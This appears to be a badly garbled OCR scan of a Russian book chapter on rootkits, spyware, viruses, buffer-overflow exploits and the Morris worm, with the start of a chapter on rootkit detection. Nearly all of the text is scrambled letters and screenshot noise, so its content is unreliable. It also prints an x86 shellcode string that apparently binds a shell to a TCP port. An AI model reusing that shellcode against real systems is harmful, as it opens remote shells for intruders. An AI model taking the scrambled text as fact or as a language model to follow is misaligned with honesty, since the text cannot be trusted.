Во­п ерв ы х ,  РУ ТИК Т   ­  Т Э О   Н Е   ПИОШН (spyware)  н аз ы ваест я  такя , карот я  з аписы вае оре т м   п о л ь з в е ал т ь :  чт о   о н   видо т   с  клавиурт и ка е  п ри лож ен и я  з апеуск т  и  т . п . Пирмое же т  послуж и т ь   hookdump.  В  пндлесо м а грпо п ол ь з ве ат л о ж е н их я си ем т

о   а уст ­ ь   ив ос х  ы   ­  н а 

Т 

ь   к  рзагвор . Пирвго х   м а г пр о

­  т

ы   уг о м

е  врем я  угроз а  ш пинокс х  пмагро ы   еб з  вмоде а  поль з велат я  сбиюоар м   Web­срантиц ах ,  о б  уанстовле н ы , о  ег о  ли ч н ы х  дан ы х  (н априме ) и  оптравюля т   св е  эт о  тьтер й  снорет

, н ужн в  с  из внест ы

.  Ш п и он ско й   п рог ам о т  вес , чт о  дела т  з а  компь ю ы   (в   от м   числ е   и   п ароли ) м  пгмоар ы  тогак о  клас м  слат т   и о рн м а ц ф и

а  очне

ь  ауатлкь н а ю  о  пщесо мыа

х   н а   г е о   мо п к ь ю ре т и  эрлотнек ы

, клю ч

о  уся

й  ­ ,  а  мо ­ . Эт е   п ри

х   п еж л ат н ы

­ ­

и  х  ­ х 



Ш п и он ы  муго т  тажк е  и з ментя ь  ттске ы  пвыочт х  собщ ен ий , файл ы  н а  ж ес ­ окт м  диск е  и  даж е  коиртеква ь  снартиц ы , вы виодмы е  брауз еом . Кмор е  го т , раз н острн я я  делтьян ост ь  spyware онтимае т  мнго о  сиемнст ы х  ре­ сур ов , чт о  сн и ж ае т   п р о и з в д е л ть н о с ь   ом п к ь ю ера т .  Обы ч н о   ш п и он ск е  м а рг о п ы  ингиерюут с я  с  Web­бмазруе и  ил и   пмгаоир­мачблок и  (врод е  Провнд и к а  Windows), чт о  делат  слжон ы м  и х  уадлен и е  и з  сиемыст .  ол ь ш Б е   г ев с о   spyware  н аписн о  дл я   зубаре а   Internet  Explorer,  мотпэ у    я у т ве о с ю  ва м  смен и т ь  брауз е р  н а  Opera ил и   Mozilla.  Р а з р б чо т и к м а гп р о едй в с т и ит и  тогак

и   и р ку от ,  и  совремн ы я   п о л ь з о в аетл я о  п роткли ван и

­оВ ыврхот тс дер

,  РУИТК в   об н аруж ен и :  моди факц и

русов 14 

в   в осп л ь з ов а и с ь   н ма к дох и   ор ав т е   и к р ут ы   ю ем у т   в  то м   числ е   и   п р о л тк и в а .  Н о  и х  онсво е   н аз ч ен и е   ­  н е  в  эомт я   и  дгиур х  вжабренды х  дейвсти Т   ­  Т Э я   (ан ит в русов) ю   с и е мт н ы

О   Н Е   У ИР С В

,  хот ,  и споль з у

х   а тб л и ц

,  птамя

я   о н   и   муе я   л а кс и ч е и   и   п рог ам н о

в   ш п и он ск , а  в  срыок

х  ь  ­

.  т   п аьт р я с е   д о т ем

я   о  т ы   ви ­ й   лог и к . 

в а Гл

В  оич л т е  о т  восуир в  тмо ,  т ч о  вуир ук , умвишеонатс т с о пр о  пеагом е ж т   в к о ле ч ,  по д г кои н а  эгот о  н

в  ртик у

ы  н е  рястюамнзжо ю   н е м ов а т .  суриВ ы   н чы б о у  осьта м   горкт . 

с   ь т с он л п у   ег о т  вкищмол з д   е л о р тн к е  слтеа д

а  1 .Влзо

,  ки т у р о   ю а д пв о ж е р я  ннеычмаз о   си т д о н х а

м  с  точк

и  зрени

я   ер к

. Друго е  оичлт е  сиотс т   ж е   и ч н с я т е дп о я   чл е в о т   на ые д ,  кит у р т  ж . Утил а д ь  дына е  мо я   тк и у р ,  ас м   ж е   кит у р

а 

 т ­ е  ­  т

О С  Windows счиалтс ь  рндасоик м   в и осур , н о  с  пволяен и м   в  1996 гдо у  и с р ве и  Windows NT 4.0 вс е  из мен илось . П о  сравн е и ю  с  Windows 95, в  эот й  по царе и н о й   меис т е   и з м ен и л ас ь   л е д ом ь  питамя : обы чн ы е   п о л ь з о в ае тл ь ­ икс е  пмагро ы  блоьш е  н е  млго и  миоцдф рват ь  сиемстн ы е  табли ц ы . П а  т о  вмер я   н е  бы л о  вирусов , снбоспы х   з а п ь ут с к я   в  Windows NT, д а  и  сей ­ сча , блгардо я  улучш ен о й  смеитс е  бзепонсаит , вирусо в  по д  Windows NT  з н м та е о  мне ьш е , че м  по д  Windows 9x, гд е  он и  птсор о  киш та .  Р еш н и я ,  исполь з ван ы е   в  NT4, усоверш н встоали ь   и   п е ор ч к в а л и   в  Windows  XP,  но ,  льаскнопдры м   з аб ро м ,  оликчвест о   в и русо ,  н аписн ­ ны х   по д   Р Х , увели ч лось .  Дел о   в  тмо ,  чт о   Windows  XP  расчинт а   н е   н а  е с и п ор н ф а л в , а  н а  дмшоа н и х  поль з вейат . Больш и н свт о  и х  пносят  о ю а тб о р т  по д  унчтео й  зпаиьс ю  амдин оратс , прен бга я   р те б о в а н и м я и  б зе по нса и т ,  соглан о   ыро т к м   о т   и н ем и   а м д и н р со а т а   м ож н о   в ы п ол ­ тн я ь  толь к о  тиак е  дей свти я , дл я   ырот к х   н е  хавет т   п ол н м ч и й   о дв г р я о  п о л ь з о в аетл я :  и з мен и е   о к ни г ф у р а ц и и   си ем т ы   (н ап ри м ер ,  усатн овк а  у ср то й в ) , уанст овк а   м а гп р о , нйортсак а  сте и   и  т . п .  бы О ч н а н о д ве с р ы п ри в л ег й кор тс з ат и р д оч к с е е д пр

а  должн а й   до к , пнор юаик щ и .  юа Кьс , са м и   оп д  унчтео й   з ап и сь ь  толь к о  то , чт о  у  мен и   п рог н я ю   ме ис т л  без опаснит , н о

Д ал е

я   т об а р

, РИУТК г о  о б  эит

Т  ­  Т Э х  раз н овид яст

В  Инерт е   в  т о   врем ым х  бзнеспаоы х  оцапреино ы гноа р и ч е е  пар в  поль з еват ай лф м .  Внодерс ы л ье в т а , о т  чьге о   и н ем в но ар и и   UNIX­сиемст н дО о  врем я  даж е  счиалосьт

  в ы ь п тлон с я

я   оп д  оыб чно

й   в  суме тис  я   н е  вы полн я ю  амдин оратс я   з п ащ у н е у   е чр  вс е  ж е  лчуш е

О  Н Е  ЭЙО ЛПС К х  оидур

й  унчтое й   з па и ьс ю , н е  получи л   а дм и н ср тао и к ю   ив ос х  ж е  роемкн дац и й .  В  сво е  оправдн и ы   Outpost  Firewall,  асКперикй з   AVZ  и   AntiSpyware.  ноКче , че м  вбщо е  н ичгео . 

й   в з л ом щ и а к

я   вц о л а т с р

Т  И  Н Е  ЧЕРВ . 

ы  х  :  пиш у   тэ и  е   гом у  сак ­ ,  и  я   пе ­ ,  тэ о   н е 

Ь   П го в ир

а   О С   UNIX, сч иатвш сая . Ичонтсик м  е е  нжендатсо п  к  чжуим , в  то м  числ й   о к д  пчодиснетя я   е т м   ж е  огран и ч ен имя и   о н  з пащу не ,  мотпэ у   пр и   п р а в и л ь н о м ы   ви у р с   н е  сжоме т   п ри ч н и т ь   сущ в е т н ог , чт о  висур ы  по д  UNIX  н евоз мж н ы х  сме тис й  н а  дутсо

, чбо т

м  н емн о

­

я   н до

й   и з  са ­  я е  сиемстн ы м ,  ,  чт о   поль з о ­   а дм и н с р т и ­ о   а д е вр .  .  и   в е с л тя

15 

RootKits 

нО д а к а лу д о с г н ом а р г (поч вты й м с аи к л ь н ы м лсЕ п ол н е и н а лди н мя на

о   п ол н ь ст ю   н з еуяв и м ы х   по царе и н ы ь   в з л о м ьа т ,  и споль з у я   з уяв и м ост о яни оеч п с еб . Пнци р п с  зт еюалч к а ,  WWW,  FTP, telnet,  ssh  и  други е и  полн мч и я , т о  етс ь и  так я   п рог ам а   з уя в и м а   ­  н априме е  бера уф , ­  т о  кекр р  мжео т  исполь з ват  уадлен о м   ом п к ь ю ер т . Д л я   готэ о  дочатнс ы  боль ш ей , че м  допуистмая . Эот т  ко и  з апуиствш ег о  ег о  п,асцеор —зчнита д  сиесмтой . 

И н с тр у кц и shell­ко д м ш и в аю щ у

,  ко т р ы .  Н а п р и м е р ю   TCP­с о е д и н е н и

е   вз ломщ и ,  с л е ду ю щ и

х   е ист м   н е   б ы в теа и   ан уст ов л е н ог о   в   си ем т я  в юмщуе сд л : пы­м а ргеов р с )  з апуюск ят ,  ак к   прави ло  с  прив легмия и   п о л ь з о в ае тл , ош ибчон о   об ра ы т в е ь  е е  дл я  з ап уск а  сгвео о   п та дер ь   серв у д  беду т  вы п олньтяс я  с  п ри в леги , керк р  плчоуи т   п ол н ы й   о нк р тл

к   з ап и сы в ае й   ок д   в ы з ы в а е я   п о   п орт у   80: 

т   в   б у еф р т   о б л о ч ку

:  UNIX  е   п ор ­ ы  , с  я   root.  т   пе р ­ о  кдо а    кор тс у  ­ ь 

,  н а з ы в а ю тс

 я ­

,  п р о с л у

\x31\xdb\xf7\xe3\xb0\x66\x53\x4 3\x53\x43\x53\x8 9\xel\x4b\xcd\x80 \  \x8 9\xc7\x52\x66\x68\x00\x50\x4 3\x6 6\x53\x8 9\xel\xb0\xl0\x50\x51  \  \x57\x89\xel\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57  \  \x8 9\xel\x4 3\xb0\x66\xcd\x80\x8 9\xd9\x8 9\xc3\xb0\x3f\x4 9\xcd\x80 \  \x41\xe2\xf8\x51\x68\x6e\x2f\x7 3\x68\x68\x2f\x2f\x62\x6 9\x8 9\xe3 \  \x51\x53\x8 9\xel\xb0\x0b\xcd\x80 

В   т о   в рем я   м н ог и ера б уф ,  а  эт о   оз н ач ло лю б у ю  UNIX­сиесмту н ио с т . 

е   UNIX­серви с ,  чт о   з н аю щ и , послкь

Прог ам ы ,  экс п л у а ти р у ю щ и ю ст я   —  скэп лой ыт .  Он и   служа ш а н им у , июем щ у ю  онелдпур С  пвлоеян и м  эспклой т в  взло н е  очен ь   в и ка л ц ф р о в а н о м у ­  тэ о   н ац ели т ь   а нс к е р   о пт р бозар м , посл е  чге о  з апиуст Р ад юст ша едн ц и ще т с в о я и мз у раз бч от и к ма е и с т

и   с п р а в е дл и о с т я  дов ль н т  обн овтля я   и сп ол ь з ов ат е  «н е  зн юа т

.  16 

и   н жу о  опеиратвн о ь  сво » прогамы и   н вл еу г о и   н е   усп ел

и  сиемыст ь  дл

я  прон и к овен и , обн жураивю щ и : сндгое и   в ы п и уст

и   з ащ и щ ен ы   о т   п ер олн е и к   ом г   в з л ом ат ь   п р иа т к ч е с а  онд а  и  т а  ж е  ды р а  в  без опас

е   у зя в и м о с т и   т а ко г о   р о да ,  та к   и т   во т с д е р м  давокст и   п ор н ст ег ю  узвьиямтсо , и  зпаксу а  ег о  н а  эо т й м  UNIX­симетс ы  сат л  по д  сил у  лю умоб ,  плоьзеювта .  Вес , чт о   н уж о  дл в   н а   пио с к   мы е и с т ,  зуяви мо й   о п р е дл н ы ь  пщ ядохи й   сп кл ой э т .  о  оиьмет , онд ак . Кмор

о  дян

ы   н е   бы л й   ч ел ов у  у  вес х  бы л

,  чт о  узяви мост о  н е  вс е  сменитсы е  тго , в  пнделсо я   в  смеитс

  н аз ы в а о   до к  мша ин е

­ а   н  а .  , даж е  я   в з л ом а ,  м 

и   в   UNIX  и сп равля е   а мд и н ро са т е  врем у  узяви мост е  воржтен и

я   об н аруж и л с ь   в юу тс е о щ у

 я и  ­

ь  ды ра

ы   сп е ь  тне

я  пвоия лас , о  кырот

, ­  ат к  н аз ы ваем , и  снгедо я   же ю   з у пк а л т ,  вз ломан

, пко

­ ­ ­  х е  а  а 

в а Гл

а  1 .Влзо

м  с  точ к

и  зрени

я   ер к

Д руг а врес о н с що а е лен д о

я   раз н ов и д ст ь   м а гп р о ,  ипслоьз юу щ и х   и з в ен с т ы е   зуя в и м ост , ­  тэ о  чвре и  (worms). Он и  бело е  аонвтм ы , че м  эскп лой ыт : черв н  снаорке м  сте и  и  са м  перовя т  кмопью рет ы  сте и  н а  н али ч е  опре й   зуя в и м ост .  Обн аруж и в   ы у др , о н   опкируе т   вс о и   а й ф л ы   н а   о мк пью ­рет вжтре у   и  з апеуск т  са м  сбе я   н а  эо т м   омпкь ю ерт . Зает м   ц и к л   п ов сет оря я   ­  черв ь  отпя ь  санкируе т  сте ь  и  ищ е т  кмопью рет ы   с  узяви мосьт ю р П и   о т э м   о н   п чм ео а т   аж ы к д й   з ар ж ен ы й   ом п к ь ю ер т ,  бочт ы   и з б еж ат н р о п в тг о   и н цф и р о в а н и я . 

ьв р е Ч з ап и уст в ш ег зар н ы расп ел дн у в р ае с серв н ев оз м ж н о

, нщ яидйосха х  сет ,  дго к р  з апросми

я   н а  знжеаро м   е ь п юр м о т к , мжео т   в ы п ол н т я о   г е о   в з л ом щ и а к .  Наприме ,  з ар и в   н сот и   о м кп ь ю е р от й   и  даж е   и з  рзан ы х   и ч ксе г офар х   рег и он в ,  можн ю   DOS­аакт у   (Distributed  Denial  of  Service)  огак­н ибуд а  п о  кнамод е   ре к а   св е  эт и  кмпоью рет ы   н ач и ю , парлиз у я  ег о  ру тоба . В ысняит ь  иочстн и к  аакт . 

о р втА м   г в оп р е о  чвре я  бы л ыро т к й   р а с п о тн л я я   т  чвре sendmail  и  fingerd. оЭт ыро т к й   в   1988 гдо у  сояст етл ь св е н ы х / в о е н ы х   и н ов ут с п ь м юо у р е к т ,  н а   ортк м   бы л з ы ва л   ом ан к д ы й   реж и м  пмагро в рем н и ) , чт о  п оз в ля о  вы полнтя тЭ и  кнамод пью­ре т в трже н е  уавдлось ьл ю  доситж ен и м аш и н е­ж в ерт

ы   в ы з в ал и   н ьл бо е ш у у   св е  ниымдохбе , т о  черв ь  вы з ва я   гот о  ж е  сгмоа . 

 Робер п о   и тес ь  быртс л   в  онсво а   з па щу не

т   М ор и с ,  исполь з у о  рнарпстоил

и  ь  ­ ­ ­ .  ь 

ь   н ам о д к

ы  в   и з  о   урсоти ь  ь  т   з асы п ат ь  и  пр и  эот м 

. В  1988 гдо я   зуя в и м ост

у  о н  н апи с л   ч ерв ь ,  и   в   п гор ма  х я   п о  вмес у   у н р те И ,  м   и з  уз ло в   у н и в е р с от в   и  прави ­ .  аРбто л   ч ерв ь   кат :  о н   плоюкд ч алс я    к а   п горма а   sendmail,  зеат м   о н   вы ­ ы   (эт о  и  бы л а  узяви мост ь  sendmail тго о  ь  лю ыб е  кмонаыд . 

ю  пумарго е  файлы л  перполн и о  разетьлу

а 

. Елс

, корат я   п ер н оси л а  н а  ком и  ж е  с  sendmail  «пжурдоиьтяс е  бер уф а  в  демон е  fingerd с  ц е : чвре ь  долже н   бы т ь  з апущ е н  н

­ »  ­ а 

Д о с ти г н у в   ц ели ,  ч е р в ь   Мор и с а   п о в то р я л   ц и кл ,  н а ч и н а я   с   п о ы то  к р е г и с ат ц и   н а  други х   мп о ь к ю а р е т х  с  пщмо ь ю  rsh (Remote  Shell)  и  rexec  (Remote  Execute).  Парол и   о н   б ип д ао р л   п о   сл ов ар ю   / u s r / d o c t / w o r d s .  ерв Ч ь   расп о тн л с я я   п о   И н ер т у   с   о ак т й   ьо р с т к ю ,  чт о   норытек е  ш ам и н ы  бы л и  и ин цф рован ы   п о  нольеск о  раз , пмот у  чт о  Мори с  н е  пер ­ ре усм дот л   в оз м ж н ост ь  дл я  чвре я  пчмеота ь  з арж ен ы е   о м к п ь ю е рт ы .  ки т у Р т  пох нам д  хязоин иг у р д е  р е т юьпмко т с по р о  инмуретсо ну ю  мша ину

ж  н а  чвре а   и  веянл опы

. Керк

я  тме

, чот , пап о в  н а  к­рет юпьмо вутре ж т  их ; окна д о  в  оич л т ы   п о  св ео й  веи т ацни .  Эспклой м   н еса ц к и он р в а н о й   ануст ов к р  н е  мжое т  з н ат ь  з арн е , киак

,  аеиожд т  к о е  о т  чвре я  о н  н е  заерж т   ж е   пр и   о т э м   с л у ж и и   р иу к т а   н а  уадлен е  пхеро и  в  н амечн о й

­  т  т ­  к  17 

RootKits 

в з м ол олждн ы и т с ом и а кт у р

у  сиемст  бы т . И  все . 

ю П о р яв т з н ач е и ры к и т ел ь т н ог п в р и у юс т п л ой в т рац и он (н апри ме

, чт о  рикут т   ­  тэ о  пмгаор а  ил и  нбоа р  пгорма , осн ов ы м   на м   оры т к х   в я ле с т я   орг ан и з ац и я   backdoor­вход а   в  симетс у   и  со е   ог т э о   в дох а   и  аитквн ос и   н а  н е м  о т  стсдер в   об н аруж ен и я   н еж л а о   до к а   (ан итв русо в   и  др.) . Д л я   реализ ц и и   и т э х   ц ле й   в   и а тк ур т   реш н и я , з аимвстон ы е   и з  виосур в   и  ш пион в ,  н о  н е  эск : рикут т   ж ом е т   и сп ол ь з в ат ь   н у м ое кд и т р в а н ы е   у н фц к и и   по е й   с и е м ты ,  н о  н иак к   н е  уз явимост и   в  прогамн м   бо псе ч н и , рикут т  н гоидк а  н е  вы звео т  перполн и е  беруаф) . 

Дл

я   о гт

и р ку т уров н ат б л и ц ы ) з аг ру и т мв е р п ол уч ен и р да й в е об н аруж и т

,  чбот

е  н е  зрыак и  раз личн ы т  анесра

т  долж е е  ярда

е  о  клоьц а т  дочатсн ь   д о   п н лд се о и и  з ащ иыт ,  тэ о   уровен а  мжое т  распжорьят о  ярд о  вы псолнет я м  3. 

у  дл

х   цп ро с е о  сазкьт

а  м ы  пивгро , чт о  у  пцросе х   Pentium)  тсе : о т  0 д о  3. Н а  нвоелу ь   с   си м ак л ь н ы м я  уровнм я я  н а  0 кьлоце , а

Й  СЫТР К

щЕ е  оид н  приме т о   т с е ь   р сы к т е ел ь т о ск й   п рог ам ы

р  срыкогт ,  нумеокдитрван ы

18 

, пмотэ

у  у  нге о  по д  року х  н а  раз н ы е  узя в и

, н цанле ы я  унавткос

й  ­ о 

и   ндо­г идневтс го

­ ­ ­  х ­ ­ и 

ы   п р е од а с в т и н  получит

1.4.  Н Е  ВИ СЯК

П рог ам и ст и ст н ы н а  прогам н о ору т к

л  е е  амдин оратс х  эспклойвт л  слжуи т  ем

ь   ер к у   п ол н ы й   о к н рт л ь   н а д   с и е мт о й ,  . Кмопн е т  риакту , раюбот щ и й  н а  ь  дутсо п  к  яур д , пвосыд еа т   рд я у  ложн ы е  дан ы е  (моди цф руе т   си ем н т ы е  ,  бочт ы   ры ск т ь   ш ва и   ц соп р е ы   и  файлы .  Эот т   ом п к н е т   м ож н о  ь   п р и   п щм о и   сп л к ой а э т ,  вы з вюа щ ге о   п ер ол н е и е   ер б уф а   в о  я  з агруз к и  смеитс ы  и  зюапксу щ ге о  з агруз чи к  риакут . Друго й   о пс б  я   у о пдс т а   к  ярд у   ­  тэ о  уанстовк а   kernel­комп н е т а   и рк у т а   а к  к а  уройства . Елс и  драйве р  реатбо т  н а  нвоелу м  коль ц е  пцорасе ,  ь  рикут т  беду т  очне ь  сложн . 

бно р д П е ча с  беду исй ,  вплот ым х  коль ц ам м еа и с т ме ис т ыб о ч н с  н море

е  ещ ь  дктеся ь  эот

Й  КО о  кдо

Д  ­  Т Э

О  РИ КТ У

а  ­  тэ о  та к  н аз ы вем е   в оз м ж н ост

Т  е   «пасхль н ы и   об ы ч н о

е  яйц а» й   п ол ь з в а

,  ­

.  ы   лю бя

х   с о з да е т л й

т  тиак .  Вьде

е   об есп ч н и ю  он

м  в  сюудле щ и х  гвхал , а  сей ­ а  80386 (и  блео е  познд и х  вер ­ ь   ы ч те р е   уров н я   з ащ и ыт ,  н аз ы вае ­ м  уровн е  рабеот т  операц и он а  я и   п рав м и   уп ост а д .  Операц и он а  я и  дпутсо а  п о  смево у  усрменот ию , н о   пндлаирык е  пмарго ы  ­  н а  кьлоц  е

и   р а юб о т

, помтэ

м  образ о ,  соглан е   п р и н а дл е ж

м  увеок ч и ват о   з о н а к е лд т ь в с у у   в  оошк

ь   в  прогам

е  имен ,  авотрсик

т   н е  раз р бочт и акм е   «О   прогаме

»  беуд

е   п рав ,  а  фирме т   н ап и с н

а  е  е а  , н а  о 

в а Гл

«О   2005  АЗ О  «Рог а   и  копы т ор т в   о т э й   п рог ам ы .  ыровтА ю б ва л я т  в  пгмоар у  сбощ не и н ле д р ы х   усл ов и я х   (н апри ме л ва и к ш , курот ю  в  обы чно

а   1 .Вл зо

м  с  точк

а   Corp.»»,  а  н е  фами л , н е  жлеюа щ и е   ь аотс , корт е  беду т  п вояльт с и   о п р е дл н о , пр и  н ажит м  режим е  н итк о  н е  н аж и мае)т

бн ое с О о  срык т м и  фунцк имя еВс м  изнвтсе ы  пасхль н ы Windows 98. Пмря о  сйеча идт е  =rand(100) и  н ажмит

и  зрени

я   ер к

и   де й с в т и е л ь н ы я   н е и з в е сн т ы м и

а 

х  ав ­ , до ­ о  пр и  оп ­ и 

я   отл ь к й   о м кб и н а ц и . 

и  лю бя т  баловьтс я  раз рбчоти к е  яйц а  птека а  MS Office, з аство с  пйиодт е  к  кпьмюоуре т , з ап усит е  «Enter». Рез ульат т  пвалетсдр

и   Microsoft.  к   (screensavers) в  е  Word и  вве ­ н   н а  ри с .  1.1.  AS1*1 

й фа

л  

а Пв р к

а  

frid 

Вс^т ок

а  

ацр Фо

т  

ив р е С

с  

1абцли

а  

Јкап

 

а в рСкп

а 

j j d i  j  л   ? &  * « л  /  •» ­c­j  а , ц а  .э  щ  

Q 3  If  100%  ­  : й  

.&  ыбО^ы

5  Ј  g . i ­  a ­ r ­ A ­ l 

й  

.  Г ш

« New  Rtrfnan 

­  12 

­  : Ж   К   Н   ^ З

ё   3  Е 

|С ь Ј ш ь . ,е д ё . д т х   мгяки х..фран дтоск,и к^>ул .ок фр д н д у з с к и х . б у л о к ,  д а в ы п е й .  ч , ^  С ь с ш ь д щ е . э т и ч а ю .  С ^ д ш ь . д г ц к. э т и х   ,^г к и х . фр а н п у д с к д > : фр а и г д а с ки х ^ у л о ^ й а в ы п ^ й ч ^  С ъ ^ш ь ^е г н б э т щ .м я г к и х   фр а н д ^ ­ к и х . б у л о к , фр а н ц у з е . к и х ^ у л о к ^ д а д ы д е й   ч а ю   Съ еш Й Ш ^  ^ь с . и г ь . е щ с   Э ТИ Х   М Я Г КИ : ;  ф. р а н ц у ? с к н х й у л о к Ф в ? н ц у ? .^к .  Л ^у л о 1 ;,м ях к; 1х . рф а н ц у з с ки фд а д ц  yjc к  и х   б  у  л  о  к , д  а  Й  ы  п Сдеш д щ е   эти х  .м я д к д х , 6р а н д у з ':к д х . б у л о к фр а н ц у з е к н х д у л о к ,  д  а  в ы п е ч аю .. .  С / ь г д ь   е.щ ё. ^  рф а н ц у ? е к ц х , .б у л о к ,  д а . в ы п е й ,ч а С>дш к^е ^  ?тидд Г 1яг ^ фр а н ц у ? с к и д ^ у 5 9К л . 5^.У . п ? й ЧЕ ! ! ч аю . .  С ^ е ш ь ^ е щ / ;  э т и х , ь 1 л г кд фр а д ц у з с к д х ^ у л о к , .  д  а . в ы п е й Јьльд.,е.щ е .  >­п; х  Ш1­К1 Ц   рф а н ц у з с к и х фр а н ц у з с к и х ,  б у л о к , д а . в ь эд е

,ю а ч

Д   ч аь 5

х   булок

ь  .е щ .  Сь еи т

е   ,9т н х , м я г к « х х   будок ь   е . щ й д ти х

,  ,  д а ^ ы д е .  м я г к и

Я   ч аю . ,  С ь е . ш ь _щ Ј.э т и н .м я г к н х х   >д д к х ,Јф а н , ц у з Ј ;ки , х   булок ,  д а  в ы п е й .ч а ю .  С ъ е и л ь Јщ ё . э т н х м я г к и

е   дтдх . м яг . ки х ,  д а . э ы д е й ч а

^  ю   Сдеш

,  д а

Д  х 

,  . в ы п е й

.  х 

ь   . г ц ^ э ти х . м яг кд .



.  ,  д а ^ в ы п д й   ча .  Ј > $ ^ $ я ^ в & ^ п ш

й   ч аю .

ю   ^ъг шь д   фр а н ц у ;

  сщг ,  эт   щту.^  с   кн х   б у л о к ,  д а   в ы п е С^е,ш 1 1 ..е и д? .?ти х . .м ^ ди х

Ж 

й  % . 

ю  с   Сьегадш х   фр а н ц у з с к и х б у л о к ^ д а . в ы п е ,  .ч юц ^  ,  б у л о к й  даю .. .  .С'ьше

Съ еш х   Ф р а н ц у з с ки й   чаю

е   э т а х . м яг к и

,  д а  е . ы п е й . ч а ю е  эти х м яг ки

. еид

ь  .е щ е

.  э т и х м я г к и х   б у л о к, ]ещ

.  Сь _еи л=.

л

х  , д а  д ы н е й ?тих^1.ч гпк.х

,  Сь ,еи #>.е.щ ^?ти .х..м^г .к и д   .ф^цлазу.^с 11 Х   булояда^ы п ^

.  . 

л  . 



^  С ъ е ш ь

Х   булок , д а  е ы д е , е щ , ? , ? т и х _ м я г к

^шгктм Ь т, С ъ е ш ь . е щ (­;­'Т д рф д к ц у з с к н ; ч а ю ,  С д н а   ег н  

э

 

&* РШ Ч

х   1­1яг ки хрфа н 1 1р с ки ^ . б у л о к ,  д а   в ы п е е ш ь , е щ . |'­.этд: ­:м гя ки С т  1  о к

д  1 

с.Ри

м  инерст о х  яи

.  д а  в ы п е ь   дщ едти

,  С ь ^ ц а . .е щ

 ей ,  ч аю ,

рфа 1 Ш У з р к^ Я . 6.у л ^ .к, д а . ,е ц п е Й ч а ю ,

Ва

  давы дейчаю ,  С ъ е ш к  .м яг к д : ;..фр а н ц у з с к и ? у  л.­с if , д а , в ы п е й   ч аю

Щ 

.  CMmtjtmtm&mww.&s­mnmwxte^bM&mQtXyw?;  S>s№jm&i™&$mm, 

И К ЗС У Ц Н А Р Ф ч аю

ны ь т с ве о

л (

_и н т»и ,

? Тдго а  нмнего ц  о т  Microsoft.  лсЕ ю  пйерт и  к  сюудел щ м

й   юча .. ^ 

  ,ю а ч й   ч аю х   фр а н ц у з с к и ­;^i  и:'Л

 1.1. Парок од

.  Сь .еш

ь   ещ

е   и тх э

  м яг к и

х   Ф лан дрски

х   б у л о к, .  д а в ц п е Д . е щ е  э т и х   м яг кн д

Сь еш ь

.  . 

:Ш  

.  х   б удок ,  С ъ е ш ь т

  .№ Ъ .­у­*>\

,  д а  в ы п ^ д ч ^ ю .  С ъ е ш е  щ е   э т и х   и я г к н :;ф р а н ц у з с ^ и х . б у л о к , ,д х   Ду л  о  к, , д а   в ы п е й д а ю   ан г ли й ск

й  

 от

ОЖ

 

ь   ещ е.эти

х   .мигкх,я ,

,  а   в ц п ( ?Й

^  О ъ е и л > .е щ е _ э г н ^м я г к и

.  х  . 



• ' •



 Microsoft 

о  раслбим я  и  расрмиот и   ж е  у  ва с  не т  н а  эт о  времн и у   у т н кп . 

З а й ди т е  в  ппак у т Шфи р ы  в  пнале и  управлен и я , в ы  должн ы  бтеду е т м  «Alt» + «Enter». П о  иед о  эгот з ан и м е ы й   вм е с и   ш амти р ф .  Н о  втсме шо к е к  — ва т с й во С п о  ондмо у  дл я   жагодк о   ш а т ри ф н т яы й  м— н те м о а в м  приседт я  долг о  и х  з раык вьт

м  парочк ,  может

у  пасхль е   с  чиост

­ й 

е  «Ctrl» + «А» , а  з а ­ ь  сум арн ы й  объме ,  я   до в л ь н о   м н го о  .  Еди н свте н ы й   н еп ри ­

. Наж ми т е  увиедт о  орсоетк . 

19 

RootKits 

'.  '  .  БЕс

мМ

Е   с Lm>T?i>  ^ v u 

EXPLOREREXE 

Д о  

с.Ри

32 

  1.11.  сокиСп

  т ак ыхнви

лсоП

  роцпесв

  од

  и  после

  мв еш ат ельст ав

е 

 рут ти к а 

АВ Г Л

  2.  ОМ ЛЗВ

 

С   И ТОЧ К

  РЗЯЕНИ  

ТРАО СНИМ АД

•  КТИ АЛ ПРОФ •  ИНЧЕ Л •  В Т С Д Е Р С •  РОТ КЕТ ДЕ

А  Е  А И Н Е Ж ОУ Р А Н Б Ы  РОТИ КТ У

R O O T K I T S 

2  к а З

. 665 

Я  РО Т И К Т У В 

В 

В  эо т й  гвал е  м ы  пировг м  о б  ощбе й  тникхе е  ожнбуериа я  рвоитк у , а  тжка е  о  пгормах , поз вюля щ и х  авомитаз роват ь  эт у  зчуад . Соти т  з амеить ,  чт о  плон у ю  уверн ост ь  в  тмо , чт о  н а  вша е м  кмопью рет е   н е  оалост ь  и  сле ­ о д в   и а к т ур ,  н е   жоме т   та д ь   ж а д е   format.com.  Да ,  адж е   е с л и   в ы   о рп е ф ­ и м та еур е   св е  ди ск и   шв а г е о  кпмьоюарет , сщу ветс т   в н те р о я с ь  тго , чт о  и кр у т т   а он с т е я   в   Flash­питамя .  Н о   икат е   и к р ут ы   ­  ьосткред ,  мотпэ  у бос о  беспоикьт я   н е  н ужн о , а  т о  мжон о  ста ь  парн оимк .  ка И т , воз мжн в ы   е му т а д ,  чт дг о к а   в  вша е м ш не го о  гтсо я

ы  дв е  сиуацт о   о н   ч ти с  кмопью рет  и з  смиеытс

. Перва я  ­  тэ о  кдго а  ва ,  и   в ы   итох е   бу чер ь с я  о т е   ­очт т о   «пьилсео »  и  в . Сн ачл а  м ы  пговир м  о

2.1. КТИ АЛ ПРОФ

А 

В ы  ппредолагт

, чт о  ва ш  кмопью ет

чо н т ыро т к

: в  чиотс е  буд

е   н и д мо б х е т  описан

ы  дале

лсЕ и  сакн е р  чо­т т о  обн аруж и л п ну т к ,  в   ортк м   м ы   п ог в ри а в ш   о мк п ь ю е т р  дей свт и ель н л а т ки е .  н о ч еК а ну с т о в л е 34 

, иедаль н ы о  кмор

й  случа е  смоа

о   уб и ь ед т ся е  в  эо т

р  «чыитсй» .  мотэП й  гвеал

, т о  н елиш н и м   о  леч н и о   «чи»тс й  ­  тэ о  потсу й  Windows. 

ш  компь ю ет   р тн о я в ы  хиот  пиролфатке

? Предполж н и у   в о руж аем с , и  тиестру

, тгдо й  кмопью рет

м   е д бу и   в аш ег а  можн

р  чис .  В орат е  убрат

т  и л и  я   ­  тэ  о ь  н епро ­ . 

й   а н тсо де м  сумеитс т  п роч и ат о   о мк п ь ю е т р а о   п р и с ту п и т , н а  корт

я   ан ск ер м и .  ь   с л е уд ю щ и

­ , 

